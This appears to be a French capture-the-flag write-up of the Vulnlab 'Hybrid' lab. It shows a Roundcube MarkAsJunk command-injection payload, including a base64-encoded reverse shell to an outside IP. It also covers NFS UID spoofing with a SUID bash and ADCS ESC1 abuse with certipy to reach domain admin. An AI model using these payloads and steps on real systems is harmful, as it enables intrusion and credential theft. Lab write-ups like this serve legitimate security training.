Vulnlab - Hybrid
Hybrid est une chaine composé d’un Active Directory qui contient une machine Windows et une Linux. L’accès initial se fait en compromettant la machine Linux puis la compromission du domaine est possible en utilisant une attaque ADCS
Enumération
On commence par lancer un scan nmap sur les ips fournies.
1 | ┌──(kali㉿kali)-[~/ctf/vulnlab/hybrid] |
On peut voir qu’il semble y avoir une machine Windows et une machine Linux, ce qui suggère qu’on a probablement à faire à une machine linux sur le domaine.
La machine Windows est le contrôleur de domaine car son nom Netbios est dc01.hybrid.vl, ce qui signifie que l’on doit d’abord commencer par compromettre la machine Linux.
Grâce au scan nmap, on voit qu’il y’a un serveur Web sur le port 80, en accédeant à ce dernier, on est redirigé vers mail01.hybrid.vl. Ainsi, en modifiant le fichier hosts de ma machine, je tombe sur la page de connexion de Roundcube.
Partages NFS
Comme je n’avais pas d’identifiants valides pour accéder au serveur mail, j’ai essayé d’obtenir des identifiants depuis les partages NFS
NFS (Network File System) est un service de partage de fichier tout comme CIFS (qui est presque équivalement à SMB). Avec NFS, on doit monter les partages accessibles sur le serveur distant sur notre machine afin de pouvoir y accéder.
Pour voir les différents montages NFS disponibles, on peut interroger le serveur avec la commande suivante : showmount -e 10.10.186.150
Cela nous permet d’avoir les montages disponibles et les ips autorisées à monter ces derniers :
1 | Export list for 10.10.186.150: |
Cela signifie que l’on doit pouvoir accéder au contenu de partage /opt/share en le montant localement : sudo mount -t nfs -o vers=3 10.10.186.150:/opt/share /mnt/tmpmnt -o nolock
mount -t nfs
permet de monter un partage NFS-o vers=3
: La version de NFS utilisée en se basant sur le scan nmap10.10.186.150:/opt/share /mnt/tmpmnt
: on monte tout ce qui se trouve dans /opt/share vers le dossier /mnt/tmpmnt de notre machine locale-o nolock
: désactive le verrouillage de fichiers, ce qui empêche les binaires du partages NFS de bloquer à l’execution
Dans le dossier /mnt/tmpmnt
, on trouve un fichier nommé backup.tar.gz
. On peut l’extraire avec tar -xzf backup.tar.gz
Cela nous permet d’accéder aux répertoires etc
et opt
contenus dans l’archive.
En parcourant les fichiers, on peut trouver un fichier qui semble contenir des identifiants de connexion pour Roundcube : /etc/docecot/dovecot-users
1 | [email protected]:{plain}Duckling21 |
En utilisant ces identifiants, on peut se connecter à l’instance Roundcube.
MarkasJunk RCE
En explorant l’interface, je suis tombé sur un mail que admin
a envoyé à peter.turner
disant qu’il avait activé un Junk plugin sur le serveur.
Après quelques recherches, j’ai trouvé une CVE qui permet une exécution de commande à distance en modifiant de l’utilisateur, envoyant un mail puis en déplaçant le mail dans le dossier indésirable. https://ssd-disclosure.com/ssd-advisory-roundcube-markasjunk-rce/
En résumé, on peut exécuter une commande arbitraire sous le nom de l’utilisateur à cause d’un manque de filtrage lors de l’analyse du mail par cette version de RoundCube. On peut exécuter la commande en l’encadrant par & dans notre adresse mail ce que RoundCube n’interprète pas correctement.
Pour exploiter la vulnérabilité, il faut se rendre dans Compose > Edit Identities
. On peut alors essayer directement : admin&curl http://10.8.0.173:9001/&@hybrid.vl
Sauf que Roundcube refuse en disant que l’adresse mail est invalide.
Plutôt que de chercher quels caractères sont blacklistés, on va encoder notre commande en base64 et encoder les caractères spéciaux en URL. On peut faire cela en interceptant la requête avec Burp et en éditant la valeur de l’email.
Par exemple pour exécuter : curl http://10.8.0.173
, on obtient le payload non encodé admin&echo${IFS}Y3VybCBodHRwOi8vMTAuOC4wLjE3Mzo5MDAxLwo=|base64${IFS}-d|bash&@hybrid.vl
qui donne admin%26echo${IFS}Y3VybCBodHRwOi8vMTAuOC4wLjE3Mzo5MDAxLwo%3d|base64${IFS}-d|bash%26%40hybrid.vl
une fois encodé.
Une fois la requête envoyé, on constate que notre adresse mail est acceptée malgré les caractères spéciaux.
Pour vérifier que la commande est bien exécutée, je lance un serveur python avec python3 -m http.server 9001
et je rédige un mail test :
Ensuite, après avoir envoyé le mail et l’avoir mis dans la corbeille, j’obtiens une requête sur mon serveur python ce qui signifie que l’on peut exécuter des commandes sur le serveur.
Ainsi, on peut obtenir un reverse shell avec la commande suivante : admin&echo${IFS}c2ggLWkgPiYgL2Rldi90Y3AvMTAuOC42LjgwLzQ0NDQgMD4mMQ==${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash&@hybrid.vl
Exploitation du montage NFS interne
En consultant la configuration NFS dans /etc/exports
, on peut voir la configuration suivante :
1 | $ cat /etc/exports |
Normalement, pour les partages NFS on exploite l’option no_root_squash pour faire de l’escalade de privilège mais ici c’est le drapeau rw
(lecture/écriture) qui nous intéresse. https://www.hackingarticles.in/linux-privilege-escalation-using-misconfigured-nfs/
L’idée est d’exploiter le fait que l’utilisateur [email protected]
a l’UID 902601108
.
1 | www-data@mail01:~/roundcube$ id [email protected] |
Si l’on crée un utilisateur local avec le même UID, alors NFS nous laissera exécuter des fichiers dans le contexte de cet utilisateur distant. En effet, on pourra alors exploiter le binaire /bin/bash
en mettant le SUID pour l’exécuter dans le contexte de peter.turner
.
Pour faire cela, on doit suivre ces étapes :
- Hôte distant:
cp /bin/bash /opt/share/
- Copie de /bin/bash dans le partage NFS
- Local :
sudo useradd [email protected] -u 902601108
- Création d’un utilisateur nommé [email protected] avec le même UID que celui de la machine distante
- On doit d’abord modifier
/etc/login.defs
et changerUID_MAX
pour avoir une valeur plus grande que902601108
- Local :
sudo su -l [email protected]
- Local :
cp /mnt/tmpmnt/bash /tmp/tmpbash/
- Copie du binaire
bash
dans un dossier temporaire pour réinitialiser les permissions du binaire
- Copie du binaire
- Remote host:
rm /opt/share/bash
- Suppression de l’exécutable sur la machine distante pour pouvoir remplacer le binaire par le nouveau
- Local Host :
cp /tmp/tmpbash/bash /mnt/tmpmnt/
- Copie de notre exécutable sur le partage NFS
- Local Host :
chmod +s /mnt/tmpmnt/bash
- On met le bit suid sur l’excutable ce qui permet à n’importe quel utilisateur de l’executer avec le contexte de l’utilisateur à qui le binaire appartient.
- Remote :
/opt/share/bash -p
- On lance
bash
avec-p
qui permet de le lancer en mode privilège. Cela signifie que cela qu’il va définir l’UID effectif sur l’UID réel et que le binaire s’exécutera avec les même permissions que son détenteur.
En suivant ces étapes, on obtient un shell en tant que[email protected]
:
- On lance
Récupération d’un fichier KDBX
Dans le répertoire de l’utilisateur, on peut trouver le fichier passwords.kdbx
en utilisant le mot de passe récupéré précédemment, il est possible de l’ouvrir et de récupérer le mot de passe du compte de peter.turner :
ESC1 ADCS Exploitation
ADCS ( Active Directory Certificate Services)
est un rôle serveur qui permet d’ajouter une infrasctructure de gestion de certificats (PKI)
dans un environnement Active Directory. Cela permet d’utiliser des mécanismes de sécurité comme le chiffrement à clé publique à l’échelle du domaine.
S’il est mal configuré, ADCS peut contenir des failles de sécurité
qui permettent à un attaquant de demander un certificat au nom d'un autre utilisateur
, y compris un utilisateur privilégié comme un administrateur.
Ces certificats peuvent ensuite être utilisés pour s'authentifier sur le domaine
comme si on était une autre personne.
Pour chercher des modèles de certificats vulnérables, on peut utiliser certipy avec la commande suivante :certipy-ad find -u [email protected] -p b0cwR+G4Dzl_rw -stdout -old-bloodhound -vulnerable -dc-ip 10.10.238.5
Ce qui va nous retourner le template HybridComputers qui est vulnérable :
1 | Certificate Templates |
On peut voir que que le template est vulnérable à une ESC1
. Cela indique que les ordinateurs du domaine peuvent s’enrôler eux-mêmes, fournir le nom du sujet (cad l’utilisateur ciblé) et que le modèle permet l’authentification client
. En clair, cela signifie que n'importe quel ordinateur du domaine peut demander un certificat au nom de n'importe quel utilisateur du réseau
.
En utilisant bloodhound, on voir que le meilleur moyen d’exploiter cette vulnérablité est d’utiliser le compte machine de mail01
(sur laquelle on est root). Pour pouvoir voir ça sur BloodHound, il ne faut pas oublier d’ajouter les requêtes personnalisés https://raw.githubusercontent.com/ly4k/Certipy/main/customqueries.json dans ~./config/bloodhound/customqueries.json
Comme on est root sur la machine MAIL01
qui est membre du domaine, on peut récupérer le hash NTLM du compte ordinateur en accédant au fichier /etc/krb5.keytab
On peut ensuite utiliser keytabextract pour déchiffrer le fichier. https://github.com/sosdave/KeyTabExtract
Ensuite, on peut utiliser le hash NTLM du compte machine pour demander un certificat certipy-ad req -u 'MAIL01$' -hashes ":0f916c5246fdbc7ba95dcef4126d57bd" -dc-ip "10.10.238.5" -ca 'hybrid-DC01-CA' -template 'HYBRIDCOMPUTERS' -upn 'administrator' -target 'dc01.hybrid.vl'
Mais on obtient cette erreur :
1 | Certipy v4.8.2 - by Oliver Lyak (ly4k) /usr/lib/python3/dist-packages/certipy/commands/req.py:459: SyntaxWarning: invalid escape sequence '\(' "(0x[a-zA-Z0-9]+) \([-]?[0-9]+ ", |
Par défaut, certipy utilise une clé publique d’une taille de 2048
alors que dans notre cas, la taille de la clé est de 4096
comme on peut le voir en analysant le fichier fullchain.pem
avec openssl x509 -in fullchain.pem -noout -text
En ajoutant la longueur de la clé à la commande, on obtient le certificat :
On peut ensuite l’utiliser pour récupérer le hash NT du compte administrateur du domaine :
1 | └─$ certipy-ad auth -pfx 'administrator.pfx' -username 'administrator' -domain 'hybrid.vl' -dc-ip 10.10.238.5 |
Et on peut récupérer la base NTDS :